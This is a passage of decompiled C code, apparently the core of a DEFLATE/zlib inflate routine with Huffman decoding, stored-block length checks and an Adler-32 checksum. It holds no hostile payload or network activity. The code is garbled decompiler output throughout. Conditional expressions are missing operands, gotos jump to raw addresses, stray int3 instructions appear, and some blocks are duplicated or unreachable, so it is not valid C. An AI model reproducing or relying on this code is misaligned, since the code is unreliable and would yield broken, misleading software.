																}
															} else {
																L96:
																__eflags = _t1050 - 8;
																if(_t1050 >= 8) {
																	L100:
																	(_t1030 + 0x2920)[_t945] = _t968;
																	_t1050 = _t1050 - 8;
																	_t968 = _t968 >> 8;
																	_t945 = _t945 + 1;
																	 *(_t1065 - 4) = _t968;
																	continue;
																} else {
																	while(1) {
																		L97:
																		__eflags = _t847 -  *(_t1065 - 0x20);
																		if(_t847 >=  *(_t1065 - 0x20)) {
																			break;
																		}
																		L98:
																		_t618 = ( *_t847 & 0x000000ff) << _t1050;
																		_t847 = _t847 + 1;
																		_t968 = _t968 | _t618;
																		 *(_t1065 - 0x18) = _t847;
																		_t1050 = _t1050 + 8;
																		 *(_t1065 - 4) = _t968;
																		__eflags = _t1050 - 8;
																		if(_t1050 < 8) {
																			continue;
																		} else {
																			L99:
																			_t945 =  *(_t1065 - 8);
																			goto L100;
																		}
																		goto L295;
																	}
																	L243:
																	 *_t1030 = 6;
																	goto L285;
																}
															}
															goto L295;
														}
														L103:
														_t618 =  *(_t1030 + 0x2922) & 0x000000ff;
														 *(_t1065 - 8) = ( *(_t1030 + 0x2921) & 0x000000ff) << 0x00000008 |  *(_t1030 + 0x2920) & 0x000000ff;
														__eflags =  *(_t1065 - 8) - ((( *(_t1030 + 0x2923) & 0x000000ff) << 0x00000008 | _t618) ^ 0x0000ffff);
														if( *(_t1065 - 8) != ((( *(_t1030 + 0x2923) & 0x000000ff) << 0x00000008 | _t618) ^ 0x0000ffff)) {
															L265:
															 *(_t1065 - 0xc) = 0xffffffff;
															 *_t1030 = 0x27;
															goto L292;
														} else {
															L104:
															_t953 =  *(_t1065 - 8);
															while(1) {
																L105:
																__eflags = _t953;
																if(_t953 == 0) {
																	goto L85;
																}
																L106:
																__eflags = _t1050;
																if(_t1050 == 0) {
																	L113:
																	_t618 =  *(_t1065 - 0x10);
																	while(1) {
																		L114:
																		__eflags = _t953;
																		if(_t953 == 0) {
																			break;
																		}
																		L116:
																		_t1016 =  *((intOrPtr*)(_t1065 - 0x40));
																		__eflags = _t618 - _t1016;
																		if(_t618 < _t1016) {
																			L118:
																			_t618 =  *(_t1065 - 0x20);
																			__eflags = _t847 - _t618;
																			if(_t847 >= _t618) {
																				L247:
																				_t1030 =  *(_t1065 - 0x14);
																				 *_t1030 = 0x26;
																				goto L285;
																			} else {
																				L119:
																				_t968 = _t1016 -  *(_t1065 - 0x10);
																				_t1039 = _t618 - _t847;
																				__eflags = _t968 - _t1039;
																				_t715 =  <  ? _t968 : _t1039;
																				__eflags = ( <  ? _t968 : _t1039) - _t953;
																				if(( <  ? _t968 : _t1039) >= _t953) {
																					_t1030 = _t953;
																				} else {
																					__eflags = _t968 - _t1039;
																					_t1030 =  <  ? _t968 : _t1039;
																				}
																				L122:
																				L123:
																				memcpy();
																				_t847 = _t847 + _t1030;
																				_t618 =  *(_t1065 - 0x10) + _t1030;
																				_t1068 = _t1068 + 0xc;
																				 *(_t1065 - 0x18) = _t847;
																				_t953 =  *(_t1065 - 8) - _t1030;
																				 *(_t1065 - 0x10) = _t618;
																				 *(_t1065 - 8) = _t953;
																				continue;
																			}
																		} else {
																			L117:
																			_t1030 =  *(_t1065 - 0x14);
																			 *(_t1065 - 0xc) = 2;
																			 *_t1030 = 9;
																			goto L292;
																		}
																		goto L295;
																	}
																	L115:
																	goto 0x5214b1;
																	asm("int3");
																	goto L85;
																} else {
																	L107:
																	__eflags = _t1050 - 8;
																	if(_t1050 >= 8) {
																		L110:
																		_t618 = _t968 & 0x000000ff;
																		_t968 = _t968 >> 8;
																		_t1050 = _t1050 - 8;
																		 *(_t1065 - 0x28) = _t618;
																		 *(_t1065 - 4) = _t968;
																		L111:
																		__eflags =  *(_t1065 - 0x10) -  *((intOrPtr*)(_t1065 - 0x40));
																		_t1030 =  *(_t1065 - 0x14);
																		if( *(_t1065 - 0x10) >=  *((intOrPtr*)(_t1065 - 0x40))) {
																			L246:
																			 *(_t1065 - 0xc) = 2;
																			 *_t1030 = 0x34;
																			goto L292;
																		} else {
																			L112:
																			 *(_t1065 - 0x10) =  *(_t1065 - 0x10) + 1;
																			 *( *(_t1065 - 0x10)) = _t618;
																			_t953 =  *(_t1065 - 8) - 1;
																			 *(_t1065 - 8) = _t953;
																			continue;
																		}
																	} else {
																		while(1) {
																			L108:
																			__eflags = _t847 -  *(_t1065 - 0x20);
																			if(_t847 >=  *(_t1065 - 0x20)) {
																				break;
																			}
																			L109:
																			_t618 = ( *_t847 & 0x000000ff) << _t1050;
																			_t847 = _t847 + 1;
																			_t968 = _t968 | _t618;
																			 *(_t1065 - 0x18) = _t847;
																			_t1050 = _t1050 + 8;
																			 *(_t1065 - 4) = _t968;
																			__eflags = _t1050 - 8;
																			if(_t1050 < 8) {
																				continue;
																			} else {
																				goto L110;
																			}
																			goto L295;
																		}
																		L245:
																		 *_t1030 = 0x33;
																		goto L285;
																	}
																}
																goto L295;
															}
															continue;
														}
													} else {
														while(1) {
															L91:
															__eflags = _t847 -  *(_t1065 - 0x20);
															if(_t847 >=  *(_t1065 - 0x20)) {
																break;
															}
															L92:
															_t721 = ( *_t847 & 0x000000ff) << _t1050;
															_t1050 = _t1050 + 8;
															_t999 = _t999 | _t721;
															_t847 = _t847 + 1;
															 *(_t1065 - 0x18) = _t847;
															_t618 = _t1050 & 0x00000007;
															 *(_t1065 - 4) = _t999;
															__eflags = _t1050 - _t618;
															if(_t1050 < _t618) {
																continue;
															} else {
																goto L93;
															}
															goto L295;
														}
														L242:
														 *_t1030 = 5;
														goto L285;
													}
												}
											} else {
												while(1) {
													L87:
													__eflags = _t847 -  *(_t1065 - 0x20);
													if(_t847 >=  *(_t1065 - 0x20)) {
														break;
													}
													L88:
													_t618 = ( *_t847 & 0x000000ff) << _t1050;
													_t847 = _t847 + 1;
													_t968 = _t968 | _t618;
													 *(_t1065 - 0x18) = _t847;
													_t1050 = _t1050 + 8;
													 *(_t1065 - 4) = _t968;
													__eflags = _t1050 - 3;
													if(_t1050 < 3) {
														continue;
													} else {
														goto L89;
													}
													goto L295;
												}
												L241:
												 *_t1030 = 3;
												L285:
												__eflags =  *(_t1065 + 0x18) & 0x00000002;
												L286:
												L287:
												_t628 =  !=  ? 1 : _t618;
												 *(_t1065 - 0xc) = _t628;
												__eflags = _t628 - 1;
												if(_t628 != 1) {
													L288:
													__eflags = _t628 - 0xfffffffc;
													if(_t628 != 0xfffffffc) {
														L289:
														L292:
														_t673 =  *(_t1065 - 0x3c);
														__eflags = _t847 - _t673;
														if(_t847 > _t673) {
															while(1) {
																L293:
																__eflags = _t1050 - 8;
																if(_t1050 < 8) {
																	goto L295;
																}
																L294:
																_t847 = _t847 - 1;
																_t1050 = _t1050 - 8;
																__eflags = _t847 - _t673;
																if(_t847 > _t673) {
																	continue;
																}
																goto L295;
															}
														}
													}
												}
											}
											goto L295;
										}
										L252:
										_t618 = _t1050 & 0x00000007;
										__eflags = _t1050 - _t618;
										if(_t1050 >= _t618) {
											L256:
											_t688 =  *(_t1065 - 0x3c);
											_t894 = _t1050 & 0x00000007;
											_t994 = _t968 >> _t894;
											_t1050 = _t1050 - _t894;
											 *(_t1065 - 4) = _t994;
											__eflags = _t847 - _t688;
											if(_t847 > _t688) {
												while(1) {
													L257:
													__eflags = _t1050 - 8;
													if(_t1050 < 8) {
														goto L259;
													}
													L258:
													_t847 = _t847 - 1;
													_t1050 = _t1050 - 8;
													__eflags = _t847 - _t688;
													if(_t847 > _t688) {
														continue;
													}
													goto L259;
												}
											}
											L259:
											L260:
											_t618 = _t1050;
											asm("bts edx, eax");
											__eflags = _t618 - 0x20;
											_t896 =  >=  ? _t994 : 0;
											_t995 = _t994 ^ _t896;
											__eflags = _t618 - 0x40;
											_t897 =  >=  ? _t995 : _t896;
											 *(_t1065 - 4) =  *(_t1065 - 4) & _t995 - 0x00000001;
											__eflags =  *(_t1065 + 0x18) & 0x00000001;
											if(( *(_t1065 + 0x18) & 0x00000001) == 0) {
												L290:
												_t689 = 0;
												__eflags = 0;
												 *_t1030 = 0x22;
												L291:
												 *(_t1065 - 0xc) = _t689;
												goto L292;
											} else {
												L261:
												_t898 = 0;
												while(1) {
													L277:
													 *(_t1065 - 8) = _t898;
													__eflags = _t898 - 4;
													if(_t898 >= 4) {
														goto L290;
													}
													L278:
													__eflags = _t1050;
													if(_t1050 != 0) {
														L281:
														_t997 =  *(_t1065 - 4);
														__eflags = _t1050 - 8;
														if(_t1050 >= 8) {
															L275:
															_t690 = _t997 & 0x000000ff;
															_t1050 = _t1050 - 8;
															__eflags = _t1050;
															 *(_t1065 - 4) = _t997 >> 8;
															goto L276;
														} else {
															L282:
															while(1) {
																L272:
																__eflags = _t847 -  *(_t1065 - 0x20);
																if(_t847 >=  *(_t1065 - 0x20)) {
																	break;
																}
																L273:
																_t618 = ( *_t847 & 0x000000ff) << _t1050;
																_t1050 = _t1050 + 8;
																_t997 = _t997 | _t618;
																_t847 = _t847 + 1;
																 *(_t1065 - 4) = _t997;
																__eflags = _t1050 - 8;
																if(_t1050 < 8) {
																	continue;
																} else {
																	L274:
																	_t898 =  *(_t1065 - 8);
																	goto L275;
																}
																goto L295;
															}
															L284:
															 *_t1030 = 0x29;
															goto L285;
														}
													} else {
														L279:
														__eflags = _t847 -  *(_t1065 - 0x20);
														if(_t847 >=  *(_t1065 - 0x20)) {
															L283:
															 *_t1030 = 0x2a;
															goto L285;
														} else {
															L280:
															_t690 =  *_t847 & 0x000000ff;
															_t847 = _t847 + 1;
															L276:
															 *(_t1065 - 0x24) = _t690;
															_t618 =  *(_t1030 + 0x10) << 0x00000008 |  *(_t1065 - 0x24);
															_t898 = _t898 + 1;
															__eflags = _t898;
															 *(_t1030 + 0x10) = _t618;
															continue;
														}
													}
													goto L295;
												}
												goto L290;
											}
										} else {
											L253:
											while(1) {
												L254:
												__eflags = _t847 -  *(_t1065 - 0x20);
												if(_t847 >=  *(_t1065 - 0x20)) {
													break;
												}
												L255:
												_t695 = ( *_t847 & 0x000000ff) << _t1050;
												_t1050 = _t1050 + 8;
												_t968 = _t968 | _t695;
												_t847 = _t847 + 1;
												 *(_t1065 - 4) = _t968;
												_t618 = _t1050 & 0x00000007;
												__eflags = _t1050 - _t618;
												if(_t1050 < _t618) {
													continue;
												} else {
													goto L256;
												}
												goto L295;
											}
											L271:
											 *_t1030 = 0x20;
											goto L285;
										}
									}
								} else {
									L49:
									__eflags = _t1050 - 0xf;
									if(_t1050 < 0xf) {
										_t1021 =  *(_t847 + 1) & 0x000000ff;
										_t861 = _t1050;
										_t732 =  *_t847 & 0x000000ff;
										_t847 = _t847 + 2;
										_t1030 =  *(_t1065 - 0x14);
										 *(_t1065 - 0x18) = _t847;
										 *(_t1065 - 4) =  *(_t1065 - 4) | (_t1021 << 0x00000008 | _t732) << _t861;
										_t1050 = _t1050 + 0x10;
										__eflags = _t1050;
										_t968 =  *(_t1065 - 4);
									}
									_t725 =  *((short*)(_t1030 + 0x160 + (_t968 & 0x000003ff) * 2));
									 *(_t1065 - 0x1c) = _t725;
									__eflags = _t725;
									if(_t725 < 0) {
										L53:
										goto 0x521472;
										asm("int3");
										asm("int3");
										asm("int3");
										do {
											L54:
											_t727 = _t968 >> _t861;
											_t861 = _t861 + 1;
											_t847 =  *((short*)(_t1030 + 0x960 + ((_t727 & 0x00000001) +  !_t847) * 2));
											__eflags = _t847;
										} while (_t847 < 0);
										 *(_t1065 - 0x1c) = _t847;
										_t847 =  *(_t1065 - 0x18);
									} else {
										L52:
										_t861 = _t725 >> 9;
									}
									L56:
									_t618 =  *(_t1065 - 8);
									_t1050 = _t1050 - _t861;
									_t968 = _t968 >> _t861;
									 *(_t1065 - 4) = _t968;
									 *( *(_t1065 - 0x10)) = _t618;
									_t861 =  *(_t1065 - 0x1c);
									__eflags = _t861 & 0x00000100;
									if((_t861 & 0x00000100) != 0) {
										L83:
										_t171 = _t1065 - 0x10;
										 *_t171 =  *(_t1065 - 0x10) + 1;
										__eflags =  *_t171;
										goto L84;
									} else {
										L57:
										_t730 =  *(_t1065 - 0x10);
										 *(_t730 + 1) = _t861;
										 *(_t1065 - 0x10) = _t730 + 2;
										continue;
										do {
											do {
												while(1) {
													L39:
													_t860 =  *(_t1065 - 0x20) - _t847;
													__eflags = _t860 - 4;
													if(_t860 < 4) {
														goto L58;
													}
													goto L40;
												}
												L26:
												__eflags = _t870;
											} while (_t870 == 0);
											goto 0x52140c;
											asm("int3");
											_t734 =  *_t740;
											 *_t1030 = _t734;
											_t1030 =  *(_t1065 - 0x14);
											__eflags = _t870 - 1;
											if(_t870 > 1) {
												L29:
												L36:
												goto 0x521448;
												asm("int3");
												 *(_t968 + 1) =  *((intOrPtr*)(_t734 + 1));
												_t968 =  *(_t1065 - 4);
											}
											L38:
											_t86 = _t1065 - 0x10;
											 *_t86 =  *(_t1065 - 0x10) + _t870;
											__eflags =  *_t86;
											while(1) {
												L39:
												_t860 =  *(_t1065 - 0x20) - _t847;
												__eflags = _t860 - 4;
												if(_t860 < 4) {
													goto L58;
												}
												goto L40;
											}
											L33:
											 *(_t1065 - 0x10) = _t1030;
											_t1030 =  *(_t1065 - 0x14);
											 *(_t1065 - 0xc) = _t968;
											_t968 =  *(_t1065 - 4);
											 *(_t1065 - 8) = _t870;
											__eflags = _t870;
										} while (_t870 <= 0);
										goto 0x521434;
										asm("int3");
										_t734 =  *_t624;
										 *_t1030 = _t734;
										_t1030 =  *(_t1065 - 0x14);
										__eflags = _t870 - 1;
										if(_t870 > 1) {
											goto L36;
										}
										goto L38;
									}
								}
							}
							L295:
							_t972 =  *(_t1065 - 4);
							L296:
							 *(_t1030 + 4) = _t1050;
							asm("bts ecx, esi");
							__eflags = _t1050 - 0x20;
							_t630 =  >=  ? 0 : 0;
							_t874 = 0 ^ _t630;
							__eflags = _t1050 - 0x40;
							_t631 =  >=  ? _t874 : _t630;
							 *(_t1030 + 0x20) =  *(_t1065 - 0x28);
							_t974 =  *(_t1065 - 0x10) -  *(_t1065 + 0x10);
							__eflags =  *(_t1065 + 0x18) & 0x00000009;
							 *(_t1030 + 0x24) =  *(_t1065 - 8);
							 *(_t1030 + 0x28) =  *(_t1065 - 0x38);
							 *((intOrPtr*)(_t1030 + 0x3c)) =  *((intOrPtr*)(_t1065 - 0x48));
							 *(_t1030 + 0x38) = _t874 - 0x00000001 & _t972;
							 *(_t1065 - 0x10) = _t974;
							 *((intOrPtr*)( *((intOrPtr*)(_t1065 + 8)))) = _t847 -  *(_t1065 - 0x3c);
							_t851 =  *(_t1065 - 0xc);
							 *( *(_t1065 + 0x14)) = _t974;
							if(( *(_t1065 + 0x18) & 0x00000009) != 0) {
								L297:
								__eflags = _t851;
								if(_t851 >= 0) {
									L298:
									_t1052 =  *(_t1030 + 0x1c);
									_t877 = _t1052 & 0x0000ffff;
									_t641 = (0x5e6ea9af * _t974 >> 0x20 >> 0xb) * 0x15b0;
									_t1053 = _t1052 >> 0x10;
									 *(_t1065 - 0x3c) = _t1053;
									_t978 =  *(_t1065 - 0x10) - _t641;
									__eflags =  *(_t1065 - 0x10);
									 *(_t1065 - 0x34) = _t978;
									if( *(_t1065 - 0x10) != 0) {
										L299:
										_t853 = _t978;
										do {
											L300:
											_t979 = 0;
											 *(_t1065 + 0x14) = 0;
											__eflags = _t853 - 7;
											if(_t853 > 7) {
												L301:
												goto 0x5215c6;
												asm("int3");
												asm("int3");
												asm("int3");
												L302:
												_t1033 = _t1030 - _t641;
												__eflags = _t1033;
												do {
													L303:
													_t979 =  &(_t979[2]);
													_t879 = _t877 + ( *_t641 & 0x000000ff);
													_t880 = _t879 + ( *( *(_t1065 + 0x10) + 1) & 0x000000ff);
													_t881 = _t880 + ( *(2 +  *(_t1065 + 0x10)) & 0x000000ff);
													_t882 = _t881 + ( *( *(_t1065 + 0x10) + 3) & 0x000000ff);
													_t883 = _t882 + ( *( *(_t1065 + 0x10) + 4) & 0x000000ff);
													_t884 = _t883 + ( *( *(_t1065 + 0x10) + 5) & 0x000000ff);
													_t885 = _t884 + ( *( *(_t1065 + 0x10) + 6) & 0x000000ff);
													_t877 = _t885 + ( *( *(_t1065 + 0x10) + 7) & 0x000000ff);
													_t671 =  *(_t1065 + 0x10) + 8;
													_t1053 = _t1053 + _t879 + _t880 + _t881 + _t882 + _t883 + _t884 + _t885 + _t877;
													 *(_t1065 + 0x10) = _t671;
													__eflags = _t1033 + _t671 - _t853;
													_t641 =  *(_t1065 + 0x10);
												} while (_t1033 + _t671 < _t853);
												 *(_t1065 + 0x14) = _t979;
												 *(_t1065 - 0x3c) = _t1053;
											}
											L305:
											_t1030 = 0;
											 *((intOrPtr*)(_t1065 + 8)) = 0;
											__eflags = _t979 - _t853;
											if(_t979 < _t853) {
												L306:
												__eflags = _t853 - _t979 - 2;
												if(_t853 - _t979 >= 2) {
													L307:
													_t651 =  *(_t1065 + 0x14);
													_t1056 =  *(_t1065 + 0x10);
													_t854 = 0;
													_t990 = (_t853 - _t651 - 2 >> 1) + 1;
													__eflags = _t990;
													 *(_t1065 + 0x14) = _t651 + _t990 * 2;
													do {
														L308:
														_t878 = _t877 + ( *_t1056 & 0x000000ff);
														_t654 =  *(_t1056 + 1) & 0x000000ff;
														_t1030 = _t1030 + _t878;
														_t1056 = 2 + _t1056;
														_t877 = _t878 + _t654;
														_t854 = _t854 + _t877;
														_t990 = _t990 - 1;
														__eflags = _t990;
													} while (_t990 != 0);
													_t979 =  *(_t1065 + 0x14);
													 *(_t1065 + 0x10) = _t1056;
													_t1053 =  *(_t1065 - 0x3c);
													 *((intOrPtr*)(_t1065 + 8)) = _t854;
													_t853 =  *(_t1065 - 0x34);
												}
												L310:
												__eflags = _t979 - _t853;
												if(_t979 < _t853) {
													_t984 =  *(_t1065 + 0x10);
													_t877 = _t877 + ( *_t984 & 0x000000ff);
													_t1053 = _t1053 + _t877;
													_t985 =  &(_t984[1]);
													__eflags = _t985;
													 *(_t1065 + 0x10) = _t985;
												}
												L312:
												_t641 =  *((intOrPtr*)(_t1065 + 8)) + _t1030;
												_t1053 = _t1053 + _t641;
												__eflags = _t1053;
											}
											L313:
											L314:
											_t877 = _t877 + (_t641 * _t877 >> 0x20 >> 0xf) * 0xffff000f;
											_t641 = (0x80078071 * _t1053 >> 0x20 >> 0xf) * 0xffff000f;
											_t1053 = _t1053 + _t641;
											_t586 = _t1065 - 0x10;
											 *_t586 =  *(_t1065 - 0x10) - _t853;
											__eflags =  *_t586;
											_t853 = 0x15b0;
											 *(_t1065 - 0x3c) = _t1053;
											 *(_t1065 - 0x34) = 0x15b0;
										} while ( *_t586 != 0);
										goto 0x5215ef;
										asm("int3");
									}
									L316:
									_t1055 = (_t1053 << 0x10) + _t877;
									 *(_t1030 + 0x1c) = _t1055;
									__eflags = _t851;
									if(_t851 == 0) {
										__eflags =  *(_t1065 + 0x18) & 0x00000001;
										if(( *(_t1065 + 0x18) & 0x00000001) != 0) {
											__eflags = _t1055 -  *(_t1030 + 0x10);
											_t851 =  !=  ? 0xfffffffe : _t851;
										}
									}
								}
							}
							L319:
							return _t851;
							L320:
							L58:
							__eflags = _t1050 - 0xf;
							if(_t1050 >= 0xf) {
								L75:
								_t603 =  *((short*)(_t1030 + 0x160 + (_t968 & 0x000003ff) * 2));
								 *(_t1065 - 8) = _t603;
								__eflags = _t603;
								if(_t603 < 0) {
									L77:
									goto 0x52149b;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L78:
										_t605 = _t968 >> _t860;
										_t860 = _t860 + 1;
										_t847 =  *((short*)(_t1030 + 0x960 + ((_t605 & 0x00000001) +  !_t847) * 2));
										__eflags = _t847;
									} while (_t847 < 0);
									 *(_t1065 - 8) = _t847;
									_t847 =  *(_t1065 - 0x18);
								} else {
									L76:
									_t860 = _t603 >> 9;
									_t618 = _t603 & 0x000001ff;
									 *(_t1065 - 8) = _t618;
								}
								L80:
								_t968 = _t968 >> _t860;
								_t1050 = _t1050 - _t860;
								_t861 =  *(_t1065 - 8);
								 *(_t1065 - 4) = _t968;
								__eflags = _t861 - 0x100;
								if(_t861 >= 0x100) {
									goto L84;
								} else {
									L81:
									_t769 =  *(_t1065 - 0x10);
									__eflags = _t769 -  *((intOrPtr*)(_t1065 - 0x40));
									if(_t769 >=  *((intOrPtr*)(_t1065 - 0x40))) {
										L240:
										 *(_t1065 - 0xc) = 2;
										 *_t1030 = 0x18;
										goto L292;
									} else {
										L82:
										 *_t769 = _t861;
										 *(_t1065 - 0x10) = _t769 + 1;
										continue;
									}
								}
							} else {
								L59:
								__eflags = _t860 - 2;
								if(_t860 >= 2) {
									L73:
									_t969 =  *(_t847 + 1) & 0x000000ff;
									_t625 =  *_t847 & 0x000000ff;
									_t847 = _t847 + 2;
									_t860 = _t1050;
									 *(_t1065 - 0x18) = _t847;
									 *(_t1065 - 4) =  *(_t1065 - 4) | _t969 << _t1050 + 0x00000008 | _t625 << _t860;
									_t1050 = _t1050 + 0x10;
									__eflags = _t1050;
									_t968 =  *(_t1065 - 4);
									goto L74;
								} else {
									do {
										L60:
										_t618 = _t968 & 0x000003ff;
										_t1031 =  *((short*)(_t1030 + 0x160 + _t618 * 2));
										__eflags = _t1031;
										if(_t1031 < 0) {
											L64:
											__eflags = _t1050 - 0xa;
											if(_t1050 <= 0xa) {
												goto L69;
											} else {
												L65:
												 *(_t1065 - 0x1c) = _t860;
												while(1) {
													L67:
													_t1031 =  *((short*)( *(_t1065 - 0x14) + 0x960 + ((_t968 >> _t860 & 0x00000001) +  !_t1031) * 2));
													_t860 =  *(_t1065 - 0x1c) + 1;
													 *(_t1065 - 0x1c) = _t860;
													__eflags = _t1031;
													if(_t1031 >= 0) {
														goto L74;
													}
													L68:
													_t618 = _t860 + 1;
													__eflags = _t1050 - _t618;
													if(_t1050 >= _t618) {
														continue;
													} else {
														goto L69;
													}
													goto L295;
												}
												goto L74;
											}
										} else {
											L61:
											_t1035 = _t1031 >> 9;
											__eflags = _t1035;
											if(_t1035 == 0) {
												L69:
												_t1030 =  *(_t1065 - 0x14);
												L70:
												__eflags = _t847 -  *(_t1065 - 0x20);
												if(_t847 >=  *(_t1065 - 0x20)) {
													L239:
													 *_t1030 = 0x17;
													goto L285;
												} else {
													goto L71;
												}
											} else {
												L62:
												__eflags = _t1050 - _t1035;
												if(_t1050 >= _t1035) {
													L74:
													_t1030 =  *(_t1065 - 0x14);
													goto L75;
												} else {
													L63:
													goto L69;
												}
											}
										}
										goto L295;
										L71:
										_t860 = _t1050;
										_t675 = ( *_t847 & 0x000000ff) << _t860;
										_t847 = _t847 + 1;
										_t968 = _t968 | _t675;
										 *(_t1065 - 0x18) = _t847;
										_t1050 = _t1050 + 8;
										 *(_t1065 - 4) = _t968;
										__eflags = _t1050 - 0xf;
									} while (_t1050 < 0xf);
									goto L75;
								}
							}
							goto L295;
						}
					}
					L142:
					 *(_t1065 - 0xc) = 0x40 + _t600 * 0xda0 + _t1030;
					memset(_t1065 - 0xd0, 0, 0x40);
					memset( *(_t1065 - 0xc) + 0x120, 0, 0x800);
					memset( *(_t1065 - 0xc) + 0x920, 0, 0x480);
					_t903 = 0;
					_t1068 = _t1068 + 0x24;
					_t1003 = _t1030 + ( *(_t1030 + 0x18) + 0xb) * 4;
					 *(_t1065 - 0x44) = _t1003;
					if( *_t1003 > 0) {
						L143:
						_t1030 =  *(_t1065 - 0xc);
						do {
							L144:
							_t845 =  *(_t903 + _t1030) & 0x000000ff;
							_t903 = _t903 + 1;
							 *((intOrPtr*)(_t1065 + _t845 * 4 - 0xd0)) =  *((intOrPtr*)(_t1065 + _t845 * 4 - 0xd0)) + 1;
						} while (_t903 <  *_t1003);
					}
					L145:
					goto 0x521500;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					L146:
					 *(_t1065 - 0x8c) = _t903;
					 *(_t1065 - 0x90) = _t903;
					 *(_t1065 - 0x2c) = _t903;
					 *(_t1065 - 0x30) = _t903;
					do {
						L147:
						_t782 =  *((intOrPtr*)(_t1065 + _t1003 - 0xd4));
						_t905 = _t903 + _t782 + _t903 + _t782;
						_t1030 = _t1030 + _t782;
						_t783 =  *((intOrPtr*)(_t1065 + _t1003 - 0xd0));
						 *(_t1065 - 0x30) =  *(_t1065 - 0x30) + _t783;
						 *((intOrPtr*)(_t1065 + _t1003 - 0x90)) = _t905;
						_t784 =  *((intOrPtr*)(_t1065 + _t1003 - 0xcc));
						_t907 = _t905 + _t783 + _t905 + _t783;
						 *(_t1065 - 0x2c) =  *(_t1065 - 0x2c) + _t784;
						 *((intOrPtr*)(_t1065 + _t1003 - 0x8c)) = _t907;
						_t903 = _t907 + _t784 + _t907 + _t784;
						 *(_t1065 + _t1003 - 0x88) = _t903;
						_t1003 = _t1003 + 0xc;
					} while (_t1003 <= 0x40);
					 *(_t1065 - 0x4c) = _t903;
					 *(_t1065 - 0x24) = _t1030;
					_t1030 =  *(_t1065 - 0x14);
					_t910 =  *(_t1065 - 0x24) +  *(_t1065 - 0x2c) +  *(_t1065 - 0x30);
					if( *(_t1065 - 0x4c) == 0x10000 || _t910 <= 1) {
						L150:
						_t787 =  *(_t1065 - 0x44);
						 *(_t1065 - 0x30) = 0xffffffff;
						 *(_t1065 - 0x4c) = 0;
						if( *_t787 > 0) {
							L151:
							_t1064 =  *(_t1065 - 0x4c);
							do {
								L152:
								L153:
								_t922 =  *(_t1064 + _t787) & 0x000000ff;
								 *(_t1065 - 0x44) = _t922;
								if(_t922 != 0) {
									L154:
									_t824 =  *(_t1065 + _t922 * 4 - 0x90);
									 *(_t1065 - 0x2c) = _t824;
									 *(_t1065 + _t922 * 4 - 0x90) = _t824 + 1;
									 *(_t1065 - 0x24) = _t922;
									if(_t922 != 0) {
										L155:
										do {
											L156:
											 *(_t1065 - 0x2c) =  *(_t1065 - 0x2c) >> 1;
											_t844 =  *(_t1065 - 0x24) - 1;
											_t1003 = _t1003 + _t1003 |  *(_t1065 - 0x2c) & 0x00000001;
											 *(_t1065 - 0x24) = _t844;
										} while (_t844 != 0);
										_t922 =  *(_t1065 - 0x44);
									}
									L158:
									if(_t922 > 0xa) {
										L164:
										_t828 =  *(_t1065 - 0xc) + 0x120 + (_t1003 & 0x000003ff) * 2;
										_t847 =  *(_t1065 - 0x30);
										 *(_t1065 - 0x44) = _t828;
										_t829 =  *_t828;
										 *(_t1065 - 0x2c) = _t829;
										__eflags = _t829;
										if(_t829 == 0) {
											 *( *(_t1065 - 0x44)) = _t847;
											_t829 = _t847;
											_t847 = _t847 - 2;
											__eflags = _t847;
											 *(_t1065 - 0x2c) = _t829;
											 *(_t1065 - 0x30) = _t847;
										}
										L166:
										_t1011 = _t1003 >> 9;
										__eflags = _t922 - 0xb;
										if(_t922 > 0xb) {
											L167:
											_t923 = _t922 + 0xfffffff5;
											__eflags = _t923;
											 *(_t1065 - 0x24) = _t923;
											_t924 =  *(_t1065 - 0x2c);
											do {
												L168:
												_t1011 = _t1011 >> 1;
												_t834 = 0x48f - _t924 - (_t1011 & 0x00000001);
												_t927 =  *( *(_t1065 - 0xc) + 0x91e) & 0x0000ffff;
												__eflags = _t927;
												if(_t927 != 0) {
													_t924 = _t927;
												} else {
													 *( *(_t1065 - 0xc) + _t834 * 2) = _t847;
													_t835 =  *(_t1065 - 0x30);
													_t924 = _t835;
													_t836 = _t835 - 2;
													 *(_t1065 - 0x30) = _t836;
													_t847 = _t836;
												}
												L171:
												_t361 = _t1065 - 0x24;
												 *_t361 =  *(_t1065 - 0x24) - 1;
												__eflags =  *_t361;
											} while ( *_t361 != 0);
											 *(_t1065 - 0x2c) = _t924;
											_t829 = _t924;
										}
										L173:
										_t1003 = (_t1011 >> 0x00000001 & 0x00000001) - _t829;
										__eflags = _t1003;
										 *( *(_t1065 - 0xc) + 0x91e + _t1003 * 2) = _t1064;
									} else {
										L159:
										_t841 = (_t922 << 0x00000009 | _t1064) & 0x0000ffff;
										 *(_t1065 - 0x44) = _t841;
										if(_t1003 < 0x400) {
											L160:
											goto 0x52152a;
											asm("int3");
											asm("int3");
											asm("int3");
											L161:
											_t842 = _t841 << _t922;
											 *(_t1065 - 0x4c) = _t842 + _t842;
											_t932 =  *(_t1065 - 0xc) + _t1003 * 2 + 0x120;
											do {
												L162:
												 *_t932 = _t1030;
												_t1003 = _t1003 + _t842;
												_t932 =  &(_t932[ *(_t1065 - 0x4c)]);
											} while (_t1003 < 0x400);
											_t1030 =  *(_t1065 - 0x14);
										}
									}
								}
								L174:
								_t787 =  *(_t1030 + 0x18);
								_t1064 = _t1064 + 1;
							} while (_t1064 <  *((intOrPtr*)(_t1030 + 0x2c + _t787 * 4)));
							goto 0x521540;
							asm("int3");
						}
						L176:
						if( *(_t1030 + 0x18) != 2) {
							L217:
							 *(_t1030 + 0x18) =  *(_t1030 + 0x18) - 1;
							goto L141;
						} else {
							L177:
							_t911 = 0;
							while(1) {
								L178:
								_t1004 =  *(_t1065 - 4);
								while(1) {
									L179:
									 *(_t1065 - 8) = _t911;
									if(_t911 >=  *(_t1030 + 0x30) +  *(_t1030 + 0x2c)) {
										break;
									}
									L180:
									if(_t1064 >= 0xf) {
										L197:
										_t802 =  *((short*)(_t1030 + 0x1ca0 + (_t1004 & 0x000003ff) * 2));
										 *(_t1065 - 0x28) = _t802;
										if(_t802 < 0) {
											L199:
											L200:
											do {
												L201:
												 *(_t1065 - 0x28) =  !( *(_t1065 - 0x28));
												_t804 = _t1004 >> _t911;
												_t911 = _t911 + 1;
												_t618 =  *((short*)(_t1030 + 0x24a0 + ((_t804 & 0x00000001) +  *(_t1065 - 0x28)) * 2));
												 *(_t1065 - 0x28) = _t618;
												__eflags = _t618;
											} while (__eflags < 0);
										} else {
											L198:
											_t911 = _t802 >> 9;
